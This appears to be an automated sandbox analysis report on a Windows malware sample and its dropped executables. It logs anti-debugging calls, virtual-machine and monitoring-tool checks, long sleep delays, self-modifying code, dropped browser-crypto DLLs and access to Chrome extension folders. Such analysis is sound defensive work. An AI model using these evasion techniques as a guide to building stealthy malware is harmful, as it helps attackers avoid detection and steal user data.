Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FDFBCB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FDFAC5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 117C423 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 117AA57 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11FDB3A instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Special instruction interceptor: First address: D3EB9A instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Special instruction interceptor: First address: EDFAD2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E3EB9A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FDFAD2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Special instruction interceptor: First address: 44ED9B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Special instruction interceptor: First address: 44EE98 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Special instruction interceptor: First address: 5F33F7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Special instruction interceptor: First address: 44C58A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Special instruction interceptor: First address: 619842 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Special instruction interceptor: First address: 5F93C9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Special instruction interceptor: First address: 675BF9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Special instruction interceptor: First address: 114FBCB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Special instruction interceptor: First address: 114FAC5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Special instruction interceptor: First address: 12EC423 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Special instruction interceptor: First address: 12EAA57 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Special instruction interceptor: First address: 136DB3A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Special instruction interceptor: First address: F9DF78 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Special instruction interceptor: First address: 114BFFE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Special instruction interceptor: First address: 11D9508 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Special instruction interceptor: First address: FA3EF9 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Memory allocated: 5090000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Memory allocated: 51E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Memory allocated: 71E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Memory allocated: 4B90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Memory allocated: 4D50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Memory allocated: 6D50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Memory allocated: 5490000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Memory allocated: 56C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Memory allocated: 54F0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsFCFIJEBFCG.exe

Code function: 9_2_04CE06DC rdtsc

9_2_04CE06DC

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 390	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 2111	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 6497	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window / User API: threadDelayed 4364
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window / User API: threadDelayed 4372

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 7348	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8116	Thread sleep count: 63 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8116	Thread sleep time: -126063s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8144	Thread sleep count: 69 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8144	Thread sleep time: -138069s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8104	Thread sleep count: 390 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8104	Thread sleep time: -11700000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7996	Thread sleep count: 68 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7996	Thread sleep time: -136068s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8136	Thread sleep count: 66 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8136	Thread sleep time: -132066s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8112	Thread sleep count: 2111 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8112	Thread sleep time: -4224111s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4544	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8140	Thread sleep count: 63 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8140	Thread sleep time: -126063s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8112	Thread sleep count: 6497 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8112	Thread sleep time: -13000497s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe TID: 7672	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe TID: 7668	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe TID: 7680	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe TID: 7692	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe TID: 7816	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe TID: 7520	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe TID: 7316	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe TID: 7780	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe TID: 4128	Thread sleep count: 76 > 30
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe TID: 4128	Thread sleep time: -152076s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe TID: 5916	Thread sleep count: 66 > 30
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe TID: 5916	Thread sleep time: -132066s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe TID: 2736	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe TID: 3260	Thread sleep time: -270000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe TID: 5124	Thread sleep count: 69 > 30
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe TID: 5124	Thread sleep time: -138069s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe TID: 7988	Thread sleep count: 66 > 30
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe TID: 7988	Thread sleep time: -132066s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe TID: 2164	Thread sleep count: 4364 > 30
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe TID: 2164	Thread sleep time: -8732364s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe TID: 7588	Thread sleep count: 4372 > 30
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe TID: 7588	Thread sleep time: -8748372s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe TID: 6392	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\DocumentsFCFIJEBFCG.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6FEBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6C6FEBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2075279869.000000000115A000.00000040.00000001.01000000.00000003.sdmp, DocumentsFCFIJEBFCG.exe, 00000009.00000002.2132185531.0000000000EC1000.00000040.00000001.01000000.0000000B.sdmp, d1e0007322.exe, d1e0007322.exe, 0000000B.00000002.2648418782.00000000005CE000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 0000000C.00000002.2320962587.0000000000FC1000.00000040.00000001.01000000.0000000E.sdmp, 4172e6dca8.exe, 0000000D.00000002.2341868847.00000000012CA000.00000040.00000001.01000000.00000010.sdmp, d1e0007322.exe, 0000000F.00000002.2691517682.00000000005CE000.00000040.00000001.01000000.0000000F.sdmp, 081eb93126.exe, 00000010.00000002.2550122598.0000000001122000.00000040.00000001.01000000.00000011.sdmp, 4172e6dca8.exe, 00000011.00000002.2492457102.00000000012CA000.00000040.00000001.01000000.00000010.sdmp, 081eb93126.exe, 00000013.00000002.2574832273.0000000001122000.00000040.00000001.01000000.00000011.sdmp, d1e0007322.exe, 00000014.00000002.3259672190.00000000005CE000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2075634451.0000000001964000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: file.exe, 00000000.00000002.2092934158.0000000023CC2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000002.2075634451.000000000191E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware=
Source: 4172e6dca8.exe, 0000000D.00000002.2341019305.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareS z
Source: d1e0007322.exe, 0000000B.00000002.2651235498.000000000141E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0dJ
Source: 4172e6dca8.exe, 00000015.00000002.2736567413.000000000188C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: d1e0007322.exe, 0000000F.00000002.2694379843.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688473758.0000000000F02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW2
Source: 4172e6dca8.exe, 00000015.00000002.2736567413.00000000018BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW4
Source: DocumentsFCFIJEBFCG.exe, 00000009.00000002.2132345632.0000000000F04000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000C.00000002.2321546194.0000000001004000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000002.2929895520.0000000001004000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000002.3525007859.0000000001004000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.4125821644.0000000001004000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001A.00000002.4726892514.0000000001004000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001B.00000002.5325789964.0000000001004000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001C.00000002.5928029244.0000000001004000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ZhGfse
Source: 4172e6dca8.exe, 00000015.00000002.2736567413.000000000184B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2075634451.0000000001993000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000B.00000002.2651235498.00000000014A5000.00000004.00000020.00020000.00000000.sdmp, 4172e6dca8.exe, 0000000D.00000002.2341019305.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp, 4172e6dca8.exe, 0000000D.00000002.2341019305.0000000000CC2000.00000004.00000020.00020000.00000000.sdmp, 4172e6dca8.exe, 0000000D.00000002.2341019305.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000002.2693720832.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000002.2694379843.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688473758.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, 4172e6dca8.exe, 00000011.00000002.2490263073.0000000000819000.00000004.00000020.00020000.00000000.sdmp, 4172e6dca8.exe, 00000011.00000002.2490263073.0000000000849000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: d1e0007322.exe, 0000000B.00000002.2651235498.00000000014A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnO
Source: file.exe, 00000000.00000002.2092934158.0000000023CC2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\+
Source: DocumentsFCFIJEBFCG.exe, 00000009.00000002.2131663348.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\38
Source: file.exe, 00000000.00000002.2075279869.000000000115A000.00000040.00000001.01000000.00000003.sdmp, DocumentsFCFIJEBFCG.exe, 00000009.00000002.2132185531.0000000000EC1000.00000040.00000001.01000000.0000000B.sdmp, d1e0007322.exe, 0000000B.00000002.2648418782.00000000005CE000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 0000000C.00000002.2320962587.0000000000FC1000.00000040.00000001.01000000.0000000E.sdmp, 4172e6dca8.exe, 0000000D.00000002.2341868847.00000000012CA000.00000040.00000001.01000000.00000010.sdmp, d1e0007322.exe, 0000000F.00000002.2691517682.00000000005CE000.00000040.00000001.01000000.0000000F.sdmp, 081eb93126.exe, 00000010.00000002.2550122598.0000000001122000.00000040.00000001.01000000.00000011.sdmp, 4172e6dca8.exe, 00000011.00000002.2492457102.00000000012CA000.00000040.00000001.01000000.00000010.sdmp, 081eb93126.exe, 00000013.00000002.2574832273.0000000001122000.00000040.00000001.01000000.00000011.sdmp, d1e0007322.exe, 00000014.00000002.3259672190.00000000005CE000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Process queried: DebugPort
